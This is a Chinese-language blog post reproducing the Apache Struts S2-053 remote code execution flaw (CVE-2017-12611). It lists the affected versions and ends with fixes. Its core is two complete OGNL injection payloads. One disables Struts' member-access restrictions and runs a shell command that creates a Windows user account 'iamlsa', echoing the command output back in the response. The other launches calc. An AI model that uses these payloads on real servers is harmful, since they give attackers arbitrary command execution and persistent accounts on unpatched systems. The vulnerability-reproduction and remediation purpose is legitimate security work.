首页 » Network_security » Penetration » 正文

S2-053漏洞重现(附exp)

0x00 概述:

9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611

,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。

官方summary:

A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals

 

0x01 影响范围:

Struts 2.0.1 – Struts 2.3.33,

Struts 2.5 – Struts 2.5.10

 

0x02 漏洞重现:

利用war包或docker很容易部署环境。

打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32:

利用exp创建账户,exp如下:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user iamlsa iamlsa /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

成功创建iamlsa账户

重现成功!

Ps:这里我又试了弹calc的exp,还是没成功,郁闷……

###########################################################

20170924更新:
win7弹calc成功,payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

############################################################

0x03 修复方案:

  • 升级到Apache Struts2.5.12或2.3.34
  • Freemarker标签内容不要通过Request方式获取
  • 使用只读属性来初始化value属性(仅限getter属性)
  • 不要使用如下结构

<@s.hidden name=”redirectUri” value=redirectUri />

<@s.hidden name=”redirectUri” value=”${redirectUri}” />

 

0x04 结语:

还能说啥,期待下一波!

 

 

 

Comment

Please wait and complete the task before comment.(if you can't see the task,please try to refresh the page)